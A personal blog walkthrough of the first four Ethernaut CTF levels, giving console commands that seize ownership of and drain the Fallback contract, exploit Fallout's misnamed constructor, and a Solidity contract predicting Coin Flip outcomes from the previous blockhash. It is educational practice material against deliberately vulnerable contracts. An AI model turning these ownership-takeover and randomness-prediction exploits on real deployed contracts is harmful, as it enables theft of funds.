Ethernaut Walkthrough - Part 1
Ethernaut Walkthrough - Part 1

Ethernaut Walkthrough - Part 1

Published
April 21, 2023
Tags
Solidity
Learn With Me
Web3
Ethernaut CTF
Author
Hello I am YesYouKen, this is my first time writing a walkthrough and I am just going to write as things come. Enjoy! And, I hope this helps!
Each level gets its own section and I will talk about how I get to the answer but if you want to go to the hint or the answer they are at the end of each section.

Levels

1. Hello Ethernaut

This one is easy. Just got to go through everything.
Take a longer look at the contract object to see if anything shouts password
Solution on how to get the password
contract.password()

2. Fallback

Our goal is to call contract.withdraw to get all the balance in the smart contract account
  1. Notice the onlyOwner modifier
      • it prevents anyone other than the owner from calling contract.withdraw
  1. There are two lines in the smart contract that allows us to change the owner of the smart contract with the following line owner = msg.sender;
      • in contribute and receive
  1. Notice that receive looks a little different from other function. Did some research and found out that receive() external payable is a fallback function that is called "if Ether are sent to the contract and no calldata are provided"
There are two possible solutions
Solution A
// There are two answers // Either do this multiple times, await contract.contribute({value: toWei('0.0009')}) // until we have contributed more the owner await contract.withdraw()
Solution B
await contract.contribute({value: toWei('0.00001')}) await contract.sendTransaction({value: toWei('0.00001')}) await contract.withdraw()

3. Fallout

Once again, same goal become the owner of the contract.

Solution

  1. Notice that there is only one function that allows change of owner which is Fallout
  1. Tries to call contract.Fallout but realised it is undefined.
  1. then notice the typo it is actually Fal1out , the second l is actually a 1
  1. Just execute the following in the browser console and you will become the owner
await contract.Fal1out()

Takeaways

  • Turns out that it has to be a typo else the challenge will not work, the challenge simulates a typo where the constructors is misnamed and became a public function instead.
  • Seems like a bad idea to even define constructors by the contract name, note to myself, maybe just use the constructor keyword?

4. Coin Flip

We need to rack up some consecutive wins by making the right guesses.
I faced a few hiccups here.
  1. I tried to be fancy here and did a for-loop only to realised that the challenge prevents that with the following
uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); }
it will error out with execution reverted example transaction
Solution
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.8.2 <0.9.0; contract CoinFlipSolution { CoinFlip coinflip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor(address a) { coinflip = CoinFlip(a); } function guess() external { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; coinflip.flip(side); } } interface CoinFlip { function flip(bool _guess) external returns (bool); }

Takeaways

  • external is like public but cannot be called internally
 

Next -
Ethernaut Walkthrough - Part 2
Ethernaut Walkthrough - Part 2